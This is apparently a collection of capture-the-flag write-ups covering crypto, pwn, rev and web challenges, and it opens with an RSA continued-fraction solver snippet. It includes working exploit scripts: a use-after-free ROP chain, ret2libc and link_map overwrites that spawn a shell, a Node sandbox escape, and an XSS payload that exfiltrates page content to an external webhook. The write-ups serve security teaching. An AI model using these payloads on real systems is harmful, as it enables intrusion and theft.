+n = 1827221992692849179244069834273816565714276505305246103435962887461520381709739927223055239953965182451252194768935702628056587034173800605827424043281673183606478736189927377745575379908876456485016832416806029254972769617393560238494326078940842295153029285394491783712384990125100774596477064482280829407856014835231711788990066676534414414741067759564102331614666713797073811245099512130528600464099492734671689084990036077860042238454908960841595107122933173
+c = 1079929174110820494059355415059104229905268763089157771374657932646711017488701536460687319648362549563313125268069722412148023885626962640915852317297916421725818077814237292807218952574111141918158391190621362508862842932945783059181952614317289116405878741758913351697905289993651105968169193211242144991434715552952340791545323270065763529865010326192824334684413212357708275259096202509042838081150055727650443887438253964607414944245877904002580997866300452
+
+
+data = []
+while n:
+ data += [e // n]
+ e, n = n, e % n
+for i in range(1, len(data) + 1):
+ e = 1072295425944136507039938677101442481213519408125148233880442849206353379681989305000570387093152236263203395726974692959819315410781180094216209100069530791407495510882640781920564732214327898099944792714253622047873152630438060151644601786843683746256407925709702163565141004356238879406385566586704226148537863811717298966607314747737551724379516675376634771455883976069007134218982435170160647848549412289128982070647832774446345062489374092673169618836701679
+ n = 1827221992692849179244069834273816565714276505305246103435962887461520381709739927223055239953965182451252194768935702628056587034173800605827424043281673183606478736189927377745575379908876456485016832416806029254972769617393560238494326078940842295153029285394491783712384990125100774596477064482280829407856014835231711788990066676534414414741067759564102331614666713797073811245099512130528600464099492734671689084990036077860042238454908960841595107122933173
+ data1 = data[:i]
+ d = 0
+ d1 = 1
+ for j in data1[::-1]:
+ d, d1 = d1, d + j * d1
+ if b'flag' in long_to_bytes(str(pow(c, d, n))):
+ print(long_to_bytes(str(pow(c, d, n))))
+
+
+flag{1c40fa8a-6a9c-4243-bd83-cd4875ea88cc}
+Writeup from https://mp.weixin.qq.com/s/0b9nQRxkbu7mDPji_Y8Ghw
+ + + + + + + + +Challenge name | +Author | +Writeup | +
---|---|---|
crypto/baby-rsa | +ireland | +jump | +
crypto/rejected | +ireland | +jump | +
crypto/correlated | +ireland | +jump | +
crypto/commitment-issues | +gripingberry | +jump | +
crypto/pow-pow | +defund | +link | +
crypto/learning without errors | +ireland | +jump | +
crypto/shibari | +ireland | +jump | +
crypto/psych | +defund | +link | +
Challenge name | +Author | +Writeup | +
---|---|---|
misc/undefined | +aplet123 | +jump | +
misc/sober-bishop | +clubby789 | +jump | +
misc/Vinegar | +kmh | +TODO | +
misc/TI-1337 Silver Edition | +kmh | +TODO | +
misc/Cache On The Side | +wiresboy | +TODO | +
misc/5D File System with Multiverse Time Travel | +poortho | +TODO | +
Challenge name | +Author | +Writeup | +
---|---|---|
pwn/interview-opportunity | +smoothhacker | +jump | +
pwn/baby-rop | +ireland | +jump | +
pwn/data-eater | +KyleForkBomb | +jump | +
pwn/chutes-and-ladders | +bosh | +TODO | +
pwn/containment | +hgarrereyn | +TODO | +
pwn/memory hole | +chop0 | +TODO | +
pwn/nightmare | +pepsipu | +jump | +
pwn/road-to-failure | +NotDeGhost | +jump | +
Challenge name | +Author | +Writeup | +
---|---|---|
rev/flagle | +infuzion | +TODO | +
rev/hyperlink | +BrownieInMotion | +TODO | +
rev/taxes | +hgarrereyn | +TODO | +
rev/dicecraft | +hgarrereyn | +TODO | +
rev/cable management | +evilmuffinha | +TODO | +
rev/typed | +aplet123 | +jump | +
rev/breach | +hgarrereyn | +TODO | +
rev/universal | +ireland | +jump] | +
Challenge name | +Author | +Writeup | +
---|---|---|
web/knock-knock | +BrownieInMotion | +jump | +
web/blazingfast | +larry | +link | +
web/no-cookies | +BrownieInMotion | +TODO | +
web/flare | +larry | +TODO | +
web/vm-calc | +Strellic | +link | +
web/noteKeeper | +Strellic | +link | +
web/dicevault | +arxenix | +jump | +
web/denoblog | +Strellic | +link | +
web/carrot | +larry | +TODO | +
web/shadow | +arxenix | +jump | +
256-bit RSA where $e^2 | p-1, q-1$.
+Intended solution = factor $N$ with cado-nfs, then use sage's nth_root()
function to get all candidate decryptions. Finally, combine using Chinese Remainder Theorem.
The nth_root()
algorithm is described in this paper. It's simple for $e | p-1$, but for higher-powers of $e$ involves solving a (small) discrete logarithm problem. Fortunately, sage has it implemented as a built-in.
Many resources online describe how to proceed if e | p-1
, but they don't describe the general case for higher powers of e
.
from Crypto.Util.number import long_to_bytes
+
+N = 57996511214023134147551927572747727074259762800050285360155793732008227782157
+e = 17
+cipher = 19441066986971115501070184268860318480501957407683654861466353590162062492971
+# factor with cado-nfs
+p, q = 172036442175296373253148927105725488217, 337117592532677714973555912658569668821
+
+assert p * q == N
+
+p_roots = mod(cipher, p).nth_root(e, all=True)
+q_roots = mod(cipher, q).nth_root(e, all=True)
+
+for xp in p_roots:
+ for xq in q_roots:
+ x = crt([Integer(xp), Integer(xq)], [p,q])
+ x = int(x)
+ flag = long_to_bytes(x)
+ if flag.startswith(b"dice"):
+ print(flag.decode())
+
+Whenever the RNG has to reroll, then it means that the highest bit of the output is 1
. This lets you launch a known-plaintext attack on the underlying LFSR. Solve the resulting linear system (over GF(2)
) and find the flag.
You don't really get much information if the RNG doesn't reroll. A good choice of modulus is (2^32 // 3) + 1
or (2^32 // 4) + 1
, as this will increase the chances of the RNG rerolling.
A correlation attack on a LFSR, this challenge artificially demonstrates how you can attack a filtered LFSR.
+If you have 48 (= length of seed) clean bits, then you can invert the LFSR stream and find the seed. As each bit in the output stream is correct with 80% probability, you should expect to try 1 / 0.8^48 = 45,000
different subsets of the output stream before it works. As you are given 20,000 output bits, this is no problem at all.
Unmodified information set decoding also works, mainly because the dimension of the LFSR is so small.
+You can also solve this with a customized fast correlation attack if you find sparse linear relations for the LFSR. As the state space is 2^48, you can use a birthday attack/meet-in-the-middle to find random linear relations each of length 3 which collide. That will give you a length 6 linear relation for the LFSR. This is much more complicated than the other solutions.
+We are given the result of a commitment of a signature of the flag. In particular, we have a large semiprime $N = pq$, a public exponenent $e$ with inverse $d$, and if m = bytes_to_long(flag)
, then $s = m^d \pmod{N}$ is the signature. A random value $r$ is then generated and we're given $c_1 = s + r \pmod{N}$ and $c_2 = r^5 \pmod{N}$.
There's multiple ways to ultimately do the same computations that lead to the flag. I'll describe a solution that's due to Utaha from Balsn.
+Notice that the polynomial $p(t) = (c_1 - t)^5 - c_2 \in \mathbb{Z}N[t]$ vanishes at $t = s$. We then consider the quotient ring $\mathbb{Z}_N[t]/(p)$. Since the lead coefficient of $p$ is a unit, this is a free $\mathbb{Z}_N$-module of rank $\deg p = 5$ with basis ${1, t, ..., t^4}$. In particular any $6$ elements in $\mathbb{Z}_N[t]/(p)$ will satisfy a non-trivial $\mathbb{Z}_N$-linear dependence. Using sage to efficiently write +$$(t^e)^i = a{i0} + a_{i1}t + \dots + a_{i4}t^4 \in \mathbb{Z}N[t]/(p)$$ +for $i = 0, ..., 5$ we can use the matrix $A = (a{ij})_{ij}$ to compute a non-trivial linear dependence +$$\beta_0 + \beta_1 \cdot t^e + \dots + \beta_5 \cdot (t^e)^5 = 0 \in \mathbb{Z}_N[t]/(p).$$ +However since $p(s) = 0 \pmod{N}$, the evaluation at $s$ map +$$\begin{aligned} +E_s :\;& \mathbb{Z}_N[t] \to \mathbb{Z}_N \ +& \;\;\;\; q \longmapsto q(s) +\end{aligned}$$ +descends to a valid map $\mathbb{Z}_N[t]/(p)\to \mathbb{Z}_N$ and we find that in fact, +$$\beta_0 + \beta_1 \cdot s^e + \dots + \beta_5 \cdot (s^e)^5 = 0 \pmod{N}.$$ +But $s^e = m$ is just the flag, and we can now apply Coppersmith to recover $m$.
+This challenge is based on a passive attack which broke the CKKS cryptosystem last year. The gist of it is that CKKS Ring Learning With Errors cryptosystem encrypts the message as a pair (c_0, c_1) = (a, a * s + m + e)
where s
is the secret, m
is the message, a
is a random ring element, and e
is a "small" secret error. If e
and s
are unknown, then recovering m
from this requires solving a hard lattice problem. However, when decrypting, CKKS returns m + e
, which just ... tells you ... what the secret error is.
Basic algebra then gives s = (c_1 - (m + e)) * c_0^{-1}
. Therefore, seeing a pair of encrypted and decrypted values is enough for a passive adversary to completely recover the secret key!
However, this does seemingly require c_0
to be invertible in the ring, which for our parameters is Zmod(2^100)[x] / [x^1024]
. The power-of-two modulus does (or so I thought) raise an issue.
q = 1 << 100
+N = 10
+Rbase.<x> = PolynomialRing(Zmod(q))
+R.<x> = Rbase.quotient(x^N + 1)
+
+Based on my testing, I had assumed that with overwhelming probability, c_0
would not have an inverse in the ring. This would force competitors to find another way to compute the required division. This appears to be supported by the linked paper (on page 18):
++A little difficulty arises due to the choice of q. The first implementation of CKKS, the HEAAN library sets q to a power of 2 to simplify the treatment of floating point numbers. Subsequent instantiations of CKKS use a prime (or square-free) q of the form h · 2^n + 1 together with the Number Theoretic Transform for very fast ring operations. For a (sufficiently large) prime q, the probability of a random element a being invertible is very close to 1, but this is not the case when q is a power of two. If a is not invertible, we can still recover partial information about the secret key s, and completely recover s by using multiple ciphertexts.
+
My solution computes the inverse of c_0
in the p-adic extension to R with 20480 digits of precision. (Such extremely high precision is needed because the quotient polynomial I = x^1024 + 1
has I.discriminant() = 2^10240
).
However, some teams just... got lucky... and had a c_0
which was invertible. I'm not sure what the chances of this happening were -- clearly my initial tests led me to the wrong conclusion.
The challenge still had a low number of solves, probably because RLWE is not common in CTFs.
+This challenge implements a very weird compiler using a representation of the Braid Group.
+Braid Groups have previously been used in cryptography to implement a non-commutative variant of Diffie-Hellman. This was also the concept behind the proposed post-quantum (but actually completely insecure) scheme WalnutDSA.
+The cryptographically-interesting property of Braid Groups is that they have a computationally efficient normal form. That is, while there are (infinitely) many ways to write an element of the braid group in terms of the generators, you can convert all representations into the same canonical form.
+This has been proposed as a way to hide the individual factors of a product of group elements a * b * c
.
This challenge used the fact that the group-action of the braid group with $n$ strands on $AlternatingGroup(5)^{(2 n)}$ induced by the Yang-Baxter equation is sufficiently expressive that it is Turing complete. Specifically, you can evaluate CCNOT
gates, which are computationally universal. The bulk of the source code provided for this challenge consists of a circuit-to-braid compiler and a braid-circuit evaluator.
Additionally, I provided python bindings for a very fast braid group library, which can compute the canonical forms for the braids. I also presented a C++ version of the braid-circuit evaluator, which takes around 0.1 seconds to evaluate each sub-circuit.
+With all this done, we can finally discuss the challenge.
+The intended solution is 2 parts: +1) the braid is already in normal form, so you can import it into LNF faster than computing LNF on it. +2) apply a length-based attack because the entire circuit is reversible.
+if you guess that the first few gates are performing the subcircuit A := NOT bit 0; CCNOT(0,1,2)
then the length of the circuit A^-1 * Circuit
should be "shorter" than the length of Circuit
, where length is the length of the LNF canonical form
Whereas if you guess wrong and try the circuit B := NOT bit 0; NOT bit 1; CCNOT(0,1,2)
, then the length of the circuit B^-1 * Circuit
should be longer than the length of Circuit
. So you can bruteforce the flag 2-bits at a time
the step 1) of importing into LNF is needed because computing the LNF is so slow for the obfuscated braids (it's pretty quick for the unobfuscated braids). And the provided python bindings support quickly computing the LNF of LNF(a) * LNF(b)
In hindsight, I should have released the LNF form of the braids so that players didn't have to import it.
+The only solution during the competition to this challenge used GPU brute force to find the flag \shrug. I estimate that this took the equivalent of 10-years of cpu time. This was completely unintended.
+Node.js wraps modules in a top-level function where require
is passed in as an argument, meaning that require
will always be accessible from arguments
. However, since arguments
is shadowed, you have to first create a function then access the parent function's arguments via arguments.callee.caller.arguments
:
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
+
+For some reason, when making the challenge, I thought import
wouldn't work due to Node defaulting to common.js modules, but it does for some reason, so there's a much easier cheese:
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
+
+To solve the challenge, players must find a flag which can be passed into OpenSSH's randomart algorithm. Due to the high-collision nature of the function, randomart(md5(flag))
is also provided.
+We need to implement a high-performance algorithm to identify valid paths through the grid. My approach was this:
+1. Starting at our inital point, try moving to a diagonally adjacent position
+2. Append the new position to a list of positions
+3. Check if the number of times the current position appears in the list exceeds the number of times indicated by the grid
+ - If we are at the end position, go to step 5
+ - If it does not exceed, then try moving to a new position
+ - If it does, then pop the current position off the list
+4. Repeat steps 1-3 on the next of the four possible positions
+5. Convert the list of coordinates to a series of two-bit pairs, and convert them to a byte array
+6. Check if the randomart(md5(array))
matches the provided randomart
+ - If not, return to step 3
+ - If so, we're done, and print our flag
To optimise this approach:
+ - For the initial 4 positions, we can split the work across multiple cores easily, each exploring potential paths
+ - We know the start position, and the first 5 characters (dice{
). Therefore we can hardcode the first 21 positions
+ - At each position, we can convert our path to a string and check if it meets the constraints (begins with dice{
, all lowercase alphanumeric). If not, we can backtrack
+ - If we have a 'complete' flag dice{[a-z0-9]+}
, we can verify that each position has been visited the correct number of times
+ - If all this is the case, we can attempt to calculate the MD5
My Rust solution took 20 seconds to extract the flag dice{unr4nd0m}
The challenge is a simple use-after-free, but with a few mitigations to make exploitation harder.
+Because the challenge uses a struct with a char *
, players can easily turn the use-after-free into an arbitrary read and write without specialized heap voodoo. PIE is disabled because I'm nice.
The challenge has several mitigations.
+1) the glibc version is 2.34 (as printed out 3 different times when you connect to the server), which removed the __free_hook
and __malloc_hook
flags
+2) full RELRO is used, which removes another collection of function pointers to overwrite
+3) the binary uses seccomp to ban the execve
syscall. So both calling a one-gadget and calling system("/bin/sh")
are off the table.
+4) ASLR (but not PIE) is enabled, so the location of the stack is randomized.
As the challenge name indicates, you are supposed to ROP your way to the flag, using an open-read-write ROP chain. So now the question is -- how can you turn your arbitrary read/write into a ROP chain? First, you'll need to leak a stack address.
+A nice description of how to leverage arbitrary reads in the binary/libc/heap/stack to determine the location of everything else can be found in this blog post. Note: these techniques were also heavily featured in the breach
and containment
challenges!
The crucial section is that libc
contains an environ
pointer which points to a location on the stack.
The sequence is: +1) read GOT to leak a libc address +2) read libc->environ to leak a stack address +3) compute the offset to the saved return addresses +4) ROP your way to the flag!
+Some teams had solutions which worked locally but not on remote. Some common fixed to these problems were:
+1) use a write syscall instead of puts()
to print the flag
+2) double-check that the offset between *environ
and the saved return address is correct on remote (should be -0x140
). This has some slight variation depending on your configuration, but it's not hard to brute-force and check whether you're correct
+3) using .bss
as temporary storage instead of the heap. For whatever reason, exploits which tried to read the contents of flag.txt
onto the heap were unreliable
+4) open flag.txt
in read-only mode. The redpwn jail we were using didn't support writing to disk
+5) end your rop chain with an exit(0)
syscall, which has the side-effect of flushing stdout
My exploit is the following
+from pwn import *
+
+def split_before(s, t):
+ i = s.index(t)
+ return s[:i]
+
+def split_after(s, t):
+ i = s.index(t)
+ return s[len(t) + i:]
+
+
+#################################################
+
+context.terminal = ["tmux", "splitw", "-h"]
+context.arch = 'amd64'
+context.binary = "./run"
+
+host = args.HOST or 'localhost'
+port = args.PORT or 31245
+
+if args.LOCAL:
+ r = process("./run", env = {'LD_PRELOAD' : './libc.so.6'})
+else:
+ r = remote(host, port)
+
+binary = ELF("./run")
+libc = ELF("./libc.so.6")
+
+malloc_libc_OFFSET = libc.symbols["malloc"]
+free_libc_OFFSET = libc.symbols["free"]
+
+
+#################################################
+
+def xfree(idx):
+ print(r.recvuntil(b"enter your command: ").decode())
+ r.sendline(b"F")
+ print(r.recvuntil(b"enter your index: ").decode())
+ r.sendline("{}".format(idx).encode())
+
+def xread(idx):
+ print(r.recvuntil(b"enter your command: ").decode())
+ r.sendline(b"R")
+ print(r.recvuntil(b"enter your index: ").decode())
+ r.sendline("{}".format(idx).encode())
+
+def xwrite(idx, value=b""):
+ print(r.recvuntil(b"enter your command: ").decode())
+ r.sendline(b"W")
+ print(r.recvuntil(b"enter your index: ").decode())
+ r.sendline("{}".format(idx).encode())
+ print(r.recvuntil(b"enter your string: ").decode())
+ r.sendline(value)
+
+def xcreate(idx, length, value=b""):
+ print(r.recvuntil(b"enter your command: ").decode())
+ r.sendline(b"C")
+ print(r.recvuntil(b"enter your index: ").decode())
+ r.sendline("{}".format(idx).encode())
+ print(r.recvuntil(b"How long is your safe_string: ").decode())
+ r.sendline("{}".format(length).encode())
+ print(r.recvuntil(b"enter your string: ").decode())
+ r.sendline(value)
+
+
+#################################################
+
+xcreate(0, 128)
+xcreate(1, 128)
+
+xfree(0)
+xfree(1)
+
+got_free_addr = binary.symbols['got.free']
+payload = p64(8) + p64(got_free_addr)
+xcreate(2, 16, payload)
+
+xread(0)
+
+print(r.recvuntil(b"hex-encoded bytes\n").decode())
+s = r.readline()
+s = s.decode()
+s = s.replace(" ", "")
+s = bytes.fromhex(s)
+free_addr = u64(s)
+
+libc_base_addr = free_addr - free_libc_OFFSET
+
+# -------------------------------------------------
+
+got_malloc_addr = binary.symbols['got.malloc']
+payload = p64(8) + p64(got_malloc_addr)
+xwrite(2, payload)
+
+xread(0)
+
+print(r.recvuntil(b"hex-encoded bytes\n").decode())
+s = r.readline()
+s = s.decode()
+s = s.replace(" ", "")
+s = bytes.fromhex(s)
+malloc_addr = u64(s)
+
+assert malloc_libc_OFFSET - free_libc_OFFSET == malloc_addr - free_addr
+
+# -------------------------------------------------
+
+libc_environ_addr = libc_base_addr + libc.symbols["environ"]
+payload = p64(8) + p64(libc_environ_addr)
+xwrite(2, payload)
+
+xread(0)
+
+print(r.recvuntil(b"hex-encoded bytes\n").decode())
+s = r.readline()
+s = s.decode()
+s = s.replace(" ", "")
+s = bytes.fromhex(s)
+environ_addr = u64(s)
+
+print(hex(libc_environ_addr))
+print(hex(environ_addr))
+
+# -------------------------------------------------
+
+libc.address = libc_base_addr
+rop = ROP(libc)
+
+# find offset with gdb, might need some brute-force for remote
+rip_addr = environ_addr - 0x140
+
+# new file descriptor, totally brute-forcible
+fd = 3
+# pointer to filename = "flag.txt"
+dst_filename = binary.bss(400)
+
+mov_rcx_rdx_addr = libc_base_addr + 0x0016c020 # 2.34
+mov_rcx_rdx = p64(mov_rcx_rdx_addr)
+
+print(disasm(libc.read(mov_rcx_rdx_addr, 4)))
+
+rop(rcx=dst_filename, rdx=u64(b"flag.txt"))
+rop.raw(mov_rcx_rdx)
+rop(rcx=dst_filename + 8, rdx=0)
+rop.raw(mov_rcx_rdx)
+
+# sanity checks
+rop.puts(dst_filename)
+rop.write(1, dst_filename, 16, 1)
+
+rop.open(dst_filename, 0)
+rop.read(fd, dst_filename, 128)
+rop.write(1, dst_filename, 128)
+
+
+rop.exit(0)
+
+
+# -------------------------------------------------
+
+
+real_payload = rop.chain()
+
+payload = p64(len(real_payload)) + p64(rip_addr)
+xwrite(2, payload)
+
+xwrite(0, real_payload)
+
+# gdb.attach(r)
+
+r.sendline(b"E0")
+
+sleep(0.1)
+
+print(r.recv())
+
+
+There's usually a pointer to link_map
on the stack somewhere, so just write some data to buf
and overwrite the DT_STRTAB
pointer in link_map->l_info
.
The offset to link_map
varies a little bit but this should cover most of the possibilities.
def sice(k):
+ print(k)
+ try:
+ # do pwning
+ r = conn()
+ r.sendline(f'%s%{k}$s')
+ r.sendline(b'/bin/sh\0' + p64(exe.sym['buf'] + 16 - exe.section('.dynstr').index(b'memset\x00')) + b'system\0 ' + p64(0)*13 + p64(exe.sym['buf'])[:-1])
+
+ # make sure we got a shell
+ r.recv(timeout=0.1)
+ r.sendline('echo ginkoid')
+ r.recvuntil('ginkoid')
+
+ r.interactive()
+ return True
+ except EOFError:
+ return False
+ finally:
+ r.close()
+
+for k in range(30, 50):
+ if sice(k): break
+
+I recently found this doesn't work with ubuntu:18.04
and centos:6
for some reason, but the 14 other Docker images I tried were okay. Apologies if this caused you trouble! I initially only tested on a couple (including my own host) and it worked on all of them so I didn't bother trying more.
This challenge is a classic return2libc exploit. The bug here is 60 byte overflow into the 10 byte reason
char array from the read()
function call.
...
+int main(int argc, char **argv) {
+ char reason[10];
+ ...
+ read(0, reason, 70);
+ puts(reason);
+}
+
+The only mitigations that are enabled are NX and ASLR. With NX enabled, we can't use shellcode. So ROP and ret2libc is our workaround. To defeat ASLR we have to do 2 passes. 1) leak the libc base address and return to main. 2) return to system()
in libc. I have attached the solution script below.
from pwn import *
+
+e = ELF("./interview-opportunity")
+libc = ELF("./libc.so.6")
+target = process(e.path)
+context.terminal = ["tmux", "splitw", "-v"]
+
+rdi = 0x401313
+
+payload = b"A" * 0x22
+payload += p64(rdi)
+payload += p64(e.got["puts"])
+payload += p64(e.symbols["puts"])
+payload += p64(e.symbols["main"])
+
+target.sendline(payload)
+
+target.recvuntil(b"A" * 0x22)
+target.recvline()
+
+leak = u64(target.recvline(keepends=False).ljust(8, b"\x00")) - libc.symbols["puts"]
+print("leak: {:#x}".format(leak))
+
+payload = b"A"*0x22
+payload += p64(rdi + 1)
+payload += p64(rdi)
+payload += p64(next(libc.search(b"/bin/sh")) + leak)
+payload += p64(libc.symbols["system"] + leak)
+
+target.sendline(payload)
+target.interactive()
+
+REDACTED: We are redacting the solution for 1 week to give teams an attempt to claim the blood prize! The author writeup will be released after the first solve or the 1 week is up.
+REDACTED: We are redacting the solution for 1 week to give teams an attempt to claim the blood prize! The author writeup will be released after the first solve or the1 week is up.
+This challenge presents an obfuscate quantum circuit for performing addition based on the Quantum Fourier Transform adder, which is the same addition algorithm featured in the linked writeups from last year's quantum rev challenges. The goal is to determine that number is being added.
+The obfuscation comes from that all of the Rz(theta)
rotations have been converted into long sequences of H
and T
gates -- thus making the entire quantum circuit only use H, T, CNOT
gates. The program I used for this was gridsynth, which is much more efficient than other approaches, eg as given by the construction of the Solovay-Kitaev theorem. No other obfuscations were applied, apart from those required to convert controlled-rotations into a mix of CNOT and single-qubit gates.
$ gridsynth pi/128
+ SHTHTHTHTHTHTHTSHTHTHTHTSHTHTHTHTHTSHTSHTHTHTHTHTSHTHTHTSHTSHTHTSHTSHTSHTHTHTHTS
+ HTHTHTHTHTSHTSHTHTSHTHTSHTSHTSHTSHTHTSHTSHTSHTSHTHTHTSHTSHTSHTHTHTHTSHTHTSHTHTHT
+ SHTHTHTHTSHTHTSHTHTSHTSHTSHTHTHTHTHTHTHTSHTHTSHTHTHTSHTSHTHTHTSHTSHTSHTHTSHTHTHT
+ HTSHTSHTSHSSSWWWWWWW
+
+The intended solution analyzes the structure of the QFT to isolate where the actual rotations are beign applied. The QFT consists of a long chain of CNOT gates and Rz rotations. The actual adder component consists of only Rz rotations, with no CNOT gates. So the longest chain of gates in the circuit which contains no CNOT gates is the adder. This is the only component which you need to statically analyze. You can determine this by reading about how the QFT works, or by looking at the generate.py script from last year's challenges.
+The following solution is essentially a quantum disassembler. For each single-qubit chain of H and T gates, it multiplies the gates together to determine what the quantum operator is. Then it determines that the corresponding Z-rotation angle is for this operator.
+Once all the rotation angles have been recovered, extracting the number being added (ie the flag) proceeds identically to quantum-rev 2 from last year.
+from math import pi, log2
+import numpy as np
+
+
+# hadamard gate
+H = 1/np.sqrt(2)*np.array([[1, 1],
+ [1,-1]], dtype=np.complex128)
+# T-phase gate
+T = np.array([[1, 0],
+ [0, np.exp(1j * pi/4)]], dtype=np.complex128)
+# identity operator
+I = np.array([[1, 0],
+ [0, 1]], dtype=np.complex128)
+
+
+########################################
+
+# num qubits
+n = 256
+# max error
+epsilon = 1e-4
+
+
+"""
+look for the start/end of the QFT.
+This includes a few extra gates (from the QFT)
+for qubit 0 and 1, so we just ignore those
+"""
+
+idcs = []
+with open("converted_circuit.qasm", "r") as f:
+ for i,line in enumerate(f):
+ if line == "cx q[1],q[0];\n":
+ idcs.append(i)
+ # print(i)
+
+i0 = idcs[1]
+i1 = idcs[2]
+
+lines = open("converted_circuit.qasm", "r").readlines()
+idcs = [i for i,line in enumerate(lines)]
+gates = lines[i0 + 1:i1 - 1]
+
+
+########################################
+
+unitaries = [I for _ in range(n)]
+
+for line in gates:
+ instr = line[0]
+ qubit = line[line.find("[")+1:line.find("]")]
+ qubit = int(qubit)
+
+ i = qubit
+ if instr == 't':
+ unitaries[i] = unitaries[i] @ T
+ elif instr == 'h':
+ unitaries[i] = unitaries[i] @ H
+ else:
+ raise ValueError("invalid gate")
+
+
+# correct for QFT spillover
+for i in range(3):
+ unitaries[i] = I
+
+########################################
+
+binary_reprs = ""
+unitaries = unitaries
+
+for i,u in enumerate(unitaries):
+ delta = np.abs(u) - I
+ if np.max(np.abs(delta)) > epsilon:
+ raise ValueError("unitary is not approximately a phase gate")
+
+ u /= u[0][0]
+ angle = np.angle(u[1][1])
+
+ b = str(int(angle < 0))
+ binary_reprs += b
+
+
+flag = int(binary_reprs[::-1], 2).to_bytes(n//8, "little")
+# first character is wrong b/c we included some extra QFT gates lol
+flag = b"d" + flag[1:]
+print(flag)
+
+However, during the competition the only solves were from a very amusing approach -- just run the program and it prints out the flag! Apparently the circuit simulator used in qiskit is able to very efficiently emulate the circuit in this problem without ever constructing the full statevector. The statevector has length 2^256
, so I had assumed that classically simulating the output would be completely impossible. Clearly, the IBM engineers and scientists behind qiskit deserve a raise >_<.
The runtime of the below script for me is 45 minutes and it takes < 4 gigs of ram -- much less than 2^256!
+from qiskit import QuantumCircuit, Aer, execute
+simulator = Aer.get_backend('aer_simulator')
+qc = QuantumCircuit.from_qasm_file("converted_circuit.qasm")
+
+# add some measurement gates at the end
+qubits = list(range(256))
+qc.measure(qubits, qubits)
+job = execute(qc, simulator)
+result = job.result()
+print(result.get_counts())
+
+num_chars = 256 // 8
+x = list(result.get_counts().keys())[0]
+f = int(x, 2).to_bytes(num_chars, "little")
+print(f)
+
+This challenge gives a pastebin where notes are accessed by id
and token
. The tokens are generated as follows:
generateToken(id) {
+ return crypto
+ .createHmac('sha256', this.secret)
+ .update(id.toString())
+ .digest('hex');
+ }
+
+This looks okay, as long as the secret is chosen securely. Let's take a look at where that comes from:
+ constructor() {
+ this.notes = [];
+ this.secret = `secret-${crypto.randomUUID}`;
+ }
+
+If you are careful, you can spot the issue here: crypto.randomUUID
is a function, but it is not called. Let's see what this looks like:
> const crypto = require('crypto')
+undefined
+> const secret = `secret-${crypto.randomUUID}`;
+undefined
+> secret
+'secret-function randomUUID(options) {\n' +
+ ' if (options !== undefined)\n' +
+ " validateObject(options, 'options');\n" +
+ ' const {\n' +
+ ' disableEntropyCache = false,\n' +
+ ' } = options || {};\n' +
+ '\n' +
+ " validateBoolean(disableEntropyCache, 'options.disableEntropyCache');\n" +
+ '\n' +
+ ' return disableEntropyCache ? getUnbufferedUUID() : getBufferedUUID();\n' +
+ '}'
+>
+
+Well, it looks like we know the secret. Looking at the source, we see that the flag is at id=0
, so we generate a token for that:
> crypto.createHmac('sha256', secret).update('0').digest('hex')
+'7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264'
+
+Making a request to
+https://knock-knock.mc.ax/note?id=0&token=7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264
+
+gives us the flag.
+tl;dr use a combination of history.go(-x)
and undocumented history.length
xsleak to guess the location of a window and brute force flag path directory-by-directory.
unintended: open vault window, redirect to your origin and get it to click vault buttons on your origin :(
+ async function isLocation(win, url) {
+ win.location = "about:blank";
+ await sleep();
+ const hlen1 = win.history.length;
+ win.history.go(-1);
+ await sleep();
+ win.location = url + "#zzzzz";
+ win.location = "about:blank";
+ await sleep();
+ const hlen2 = win.history.length;
+
+ // reset history to initial state before running this function
+ if (hlen1 + 1 === hlen2) {
+ win.history.go(-2);
+ } else if (hlen1 === hlen2) {
+ win.history.go(-1);
+ }
+ return hlen1 + 1 === hlen2;
+ }
+
+full solution:
+https://shadow.mc.ax/?x=%3Cimg%20src%3D%22x%22%20onerror%3D%22find(%27steal%27)%3Bdocument.execCommand(%27insertHTML%27%2C%20false%2C%20%60%3Csvg%20onload%3D%26%2334%3Bwindow.location%3D%27https%3A%2F%2Fwebhook.site%2Fa602d76c-28a3-4e0a-8793-b183bc9bfba4%3Fa%3D%27%2BencodeURIComponent(this.parentNode.innerHTML)%26%2334%3B%3E%60)%3B%22%3E&y=-webkit-user-modify:%20read-write;
+
+css payload:
+-webkit-user-modify: read-write;
+
+js payload:
+find('steal');
+document.execCommand('insertHTML', false, `<svg onload="window.location='https://webhook.site/a602d76c-28a3-4e0a-8793-b183bc9bfba4?a='+encodeURIComponent(this.parentNode.innerHTML)">`);
+
+Use the obscure -webkit-user-modify
property to make the div inside the shadowDOM editable then document.execCommand("insertHTML","payload")
to write HTML inside it and get code execution inside the shadowDOM context.
We can easily exfiltrate despite the CSP by setting window.location
Here's the original version of the code before macro expansion (and with the flag added in):
+#![recursion_limit = "10000"]
+// #![allow(dead_code, unused_macros)]
+
+use std::marker::PhantomData;
+
+macro_rules! mktype {
+ ($name: ident) => {
+ struct $name;
+ };
+
+ ($name: ident<$($t: ident),*>) => {
+ struct $name<$($t),*>($(PhantomData<$t>),*);
+ }
+}
+
+macro_rules! mktrait {
+ ($name: ident) => {
+ trait $name {
+ type Output;
+ }
+ };
+ ($name: ident<$($arg: ident),*>) => {
+ trait $name<$($arg),*> {
+ type Output;
+ }
+ }
+}
+
+macro_rules! mkimpl {
+ ($name: ident<$($gen: ident),*>[$($cgen: ty : $cons: path),*]($firstarg: ty $(, $arg: ty)*) = $output: ty) => {
+ impl<$($gen),*> $name<$($arg),*> for $firstarg
+ where
+ $($cgen: $cons),*
+ {
+ type Output = $output;
+ }
+ }
+}
+
+macro_rules! mkout {
+ ($name: ident, $firstarg: ty $(, $arg: ty)*) => {
+ <$firstarg as $name<$($arg),*>>::Output
+ }
+}
+
+mktype!(S<T>);
+mktype!(Z);
+mktrait!(Add<O>);
+mkimpl!(Add<T>[](T, Z) = T);
+mkimpl!(Add<T, K>[T: Add<K>](T, S<K>) = S<mkout!(Add, T, K)>);
+mktrait!(Mul<O>);
+mkimpl!(Mul<T>[](T, Z) = Z);
+mkimpl!(Mul<T, K>[T: Mul<K>, T: Add<mkout!(Mul, T, K)>](T, S<K>) = mkout!(Add, T, mkout!(Mul, T, K)));
+mktrait!(Sub<O>);
+mkimpl!(Sub<T>[](T, Z) = T);
